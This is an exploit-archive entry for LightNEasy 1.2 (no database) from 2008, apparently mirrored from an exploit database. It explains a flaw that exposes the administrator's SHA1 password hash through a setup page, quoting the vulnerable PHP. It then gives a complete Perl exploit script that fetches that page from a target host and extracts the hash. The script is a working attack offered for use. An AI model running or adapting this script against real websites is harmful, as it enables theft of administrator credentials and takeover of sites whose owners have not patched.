[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : LightNEasy 1.2 (no database) Remote Hash Retrieve Exploit
# Published : 2008-04-10
# Author : girex
# Previous Title : Ksemail (index.php language) Local File Inclusion Vulnerability
# Next Title : RX Maxsoft (popup_img.php fotoID) Remote SQL Injection Vulnerability
# Author: __GiReX__
# mySite: girex.altervista.org
# Date: 10/04/08
# CMS: LightNEasy 1.2 no database
# Site: lightneasy.org
# Bug: Hash Disclosure
# Exploit: Remote Hash Retrieve
# Bug Explanation: LightNEasy/lightneasy.php
if($_GET['do']!="login" && $_GET['do']!="sitemap" && $_SESSION[$set['password']] != "1") unset($_GET['do']);
if($_POST['submit']!=$langmessage[120] && $_POST['submit']!=$langmessage[33] && $_SESSION[$set['password']] != "1")
unset($_POST['submit']);
# $_GET['do'] is unset if we aren't admin or isn't login or sitemap
function content() {
...
switch($_REQUEST['do']) {
...
case "setup": {
...
<input type="hidden" name="oldpassword" value="".$set['password']."" />
# content() diplays the HTML of the section passed with $_REQUEST['do']
# unset $_GET['do'] is not important if you switch the $_REQUEST one
# you can only see the admin's hash in hidden input and not edit it becouse $_POST['submit'] is unset
#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
if(not defined $ARGV[0])
{
banner();
print "[-] Usage: perl $0 [host] [path]n";
print "[-] Example: perl $0 localhost /lightneasy/nn";
exit;
}
my $client = new LWP::UserAgent or exit;
my $target = $ARGV[0] =~ /^http:/// ? $ARGV[0]: 'http://' . $ARGV[0];
$target .= $ARGV[1] unless not defined $ARGV[1];
banner();
my $response = $client->get($target . 'LightNEasy.php?do=setup');
if($response->is_success)
{
if($response->as_string =~ /([a-f0-9]{40})/)
{
print "[+] Admin's SHA1 Hash: $1 n";
print "[+] Exploit Successfulln";
}
else
{
print "[-] Unable to retrieve admin's hashn";
print "[-] Exploit Failedn";
}
}
else
{
print "[-] Unable to request ${target}LightNEasy.php?do=setupn";
print "[-] Exploit Failedn";
}
sub banner
{
print "[+] LightNEasy 1.2 no database Password Retrieve Exploitn";
print "[+] Coded by __GiReX__n";
print "n";
}
# www.Syue.com [2008-04-10]